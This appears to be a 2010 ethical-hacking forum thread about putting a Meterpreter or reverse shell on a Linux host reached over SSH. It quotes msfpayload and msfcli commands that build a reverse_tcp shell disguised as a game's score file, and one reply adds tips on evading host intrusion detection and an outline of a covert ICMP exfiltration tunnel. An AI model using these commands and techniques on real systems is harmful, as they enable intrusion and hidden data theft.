Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 38 guests and 1 member online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Network Pen Testingarrow How to use the Meterpreter once I have SSH working?
EH-Net
May 19, 2013, 09:57:45 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: How to use the Meterpreter once I have SSH working?  (Read 6911 times)
0 Members and 1 Guest are viewing this topic.
H1t M0nk3y
Hero Member
*****
Offline Offline

Posts: 864



View Profile
« on: June 29, 2010, 08:33:05 PM »

Hi,

On a machine, I now have a working SSH connection using, let's say, username: "bob" and password: "secret".

Now how can I upload a "Meterpreter client" or something like that to this machine so I can use it to do more stuff?

As a note, once logged in to the target machine (using ssh, obviously), I can FTP back to my attacking machine, so copying the file is not the problem. What I need to know is which file to copy and how to use it!!! Huh

Thanks
Logged

OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
xXxKrisxXx
Hero Member
*****
Offline Offline

Posts: 512



View Profile
« Reply #1 on: June 29, 2010, 09:04:34 PM »

I think it all depends - is it a linux or windows box that you have ssh access too? I've never seen a meterpreter payload available for linux os's.
Logged

eCPPT, GCIH, OSCP, OSWP
hayabusa
Hero Member
*****
Offline Offline

Posts: 1630



View Profile
« Reply #2 on: June 29, 2010, 10:51:24 PM »

You're wanting something like a reverse meterpreter shell, I assume? 

http://www.metasploit.com/modules/payload/linux/x86/metsvc_reverse_tcp

HTH.
Logged

~ hayabusa ~ 

"All men can see these tactics whereby I conquer, but what none can see is the strategy out of which victory is evolved." - Sun Tzu, 'The Art of War'


OSCE, OSCP , GPEN, C|EH
xXxKrisxXx
Hero Member
*****
Offline Offline

Posts: 512



View Profile
« Reply #3 on: June 30, 2010, 12:34:48 AM »

Ha, that's awesome. I went throughout the whole pwb course without knowing about this payload. Would've came in handy in multiple situations.
Logged

eCPPT, GCIH, OSCP, OSWP
H1t M0nk3y
Hero Member
*****
Offline Offline

Posts: 864



View Profile
« Reply #4 on: June 30, 2010, 05:01:07 AM »

@xXxKrisxXx: I am hacking a linux machine.

@hayabusa: Thanks, but once I have called the "generate" command, what's next? Does it create a file or something? I can't seem to find it... Undecided
Logged

OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
xXxKrisxXx
Hero Member
*****
Offline Offline

Posts: 512



View Profile
« Reply #5 on: June 30, 2010, 12:14:48 PM »

Maybe this'll help:
http://www.offensive-security.com/metasploit-unleashed/Binary-Linux-Trojans
Logged

eCPPT, GCIH, OSCP, OSWP
H1t M0nk3y
Hero Member
*****
Offline Offline

Posts: 864



View Profile
« Reply #6 on: June 30, 2010, 12:30:06 PM »

These examples are probably what I was looking for:

Code:
./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101
LPORT=443 X > /tmp/evil/work/usr/games/freesweep_scores

Code:
./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp
LHOST=192.168.1.101 LPORT=443 E

I will give it a try tonight, thanks xXxKrisxXx
Logged

OSCP, GPEN, GWAPT, GSEC, CEH, CISSP
sil
Hero Member
*****
Offline Offline

Posts: 549



View Profile WWW
« Reply #7 on: June 30, 2010, 02:46:05 PM »

Also remember, netcat is your friend at the end of the day:

http://www.scribd.com/Penetration-Testing-Ninjitsu2-Infrastructure-and-Netcat-without-Netcat/d/3064507

A thing to keep in mind is HIDS. I try to act as if HIDS are always going to be installed on a machine. This means any introduction of new code, applications, or filename and timestamps changes can trigger bells and whistles. If you keep this in mind, it will allow you to take a step away from being too reliant on say metasploit or any other tool. E.g., you got your access however, you need more X... *nix provides a variety of tools already on the system that will allow you to do whatever you want to do. (nc, forward may be installed on some systems http://linux.die.net/man/1/forward, socat)

I've been tinkering with something on the Windows side of pentesting for situations like this... I call it TaiChiRedTeaming for lack of a cooler name. The goal is to use the system against itself. This morning I started tinkering with wmic and came up with Amphibios...

Code:
rem The purpose of Amphibios is to accumulate detailed information
rem on the system in which launches Amphibios without introducing
rem or installing applications on the system itself. The use of
rem Amphibios can be correlated with either a system administrator
rem documenting and detailing information on the system, or one can
rem use the information for other means. For example, in performing
rem a host based penetration test, the information gathered via say
rem installed patches will allow a tester to determine the possible
rem exposure state due to patches that weren't installed.

rem Amphibios gathers information on all applications, patches,
rem users, groups and diskspace on a machine. By putting this info
rem all into one repository, the data can be used for quite a few
rem purposes. While Amphibios is my first Windows based script (I
rem come from a *nix background), I may or may not alter it to
rem have the capabilities of sending data to a DB however, at this
rem point in time, Amphibios is nothing more than a test slash
rem work in progress. I may make it post to a remote db then have
rem that system parse out which updates are installed, check for
rem missing patches, updates, vulnerable software, then create a
rem a structured and tactical penetration test against the output.

rem ************************    NOTE    ************************

rem Right now, I'm just familiarizing myself with wmic and
rem powershell so - yes I do know this is butt ugly

rem ************************    NOTE    ************************

So far it's butt ugly but I've got it to do what I've set out to do so far.

http://www.infiltrated.net/amphibiosxp.txt
http://www.infiltrated.net/amphibiosxp.bat (same file as above just renamed)

It's something I can literally copy and paste once I'm on a machine. I plan on eventually making it an xml file and parsing data from what it obtains into populating an attack plan on a machine. Think: "pseudo-heuristi-yet-focused pre-pentest tool". The beauty of it is, I install zero to get me enough information to see what I can use on the system to escalate, maintain status, subvert, etc.

Wish I had more time though, I plan on rewriting it from scratch. It's conceptual but a horribly good concept/idea. If I can get it working the way I want, I can probably automate more effective pentests with better results. Or... I can probably just learn powershell and win commands and accomplish nothing. In either event... Think outside the box


#########################################################

ADDED 3:57PMEST


Forgot to add Paketto (http://freshmeat.net/projects/paketto/). Has some interesting tools and there was an interesting document I read years back, can't remember who wrote it or what the name was. Went something like this (in terms of covertness)...

So you compromise a machine and need data OFF or ON. You choose an ICMP covert shell with the destination address going to ... WHO CARES, ANYONE. Your goal is to sniff the ICMP traffic and recompile the data you need. There is minimal pointing back to you.

You --> compromise machine
You --> create a covert ICMP tunnel somewhere along a line of site between you and compromised host
You --> sanitize compromise
You --> blindly spoof data TO machine from another machine along the line of site (remember, blind spoofing you don't care about the results)
Machine --> responds via ICMP messages to ... WHO CARES ... All you care about is seeing (sniffing) the data

Within the ICMP tunnel you can pretty much do whatever you'd like. Although you are blindly spoofing, you won't get an immediate response from the machine, but via sniffing you would see the results going to someone else. ... Make sense?
« Last Edit: June 30, 2010, 03:04:22 PM by sil » Logged

Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.06 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.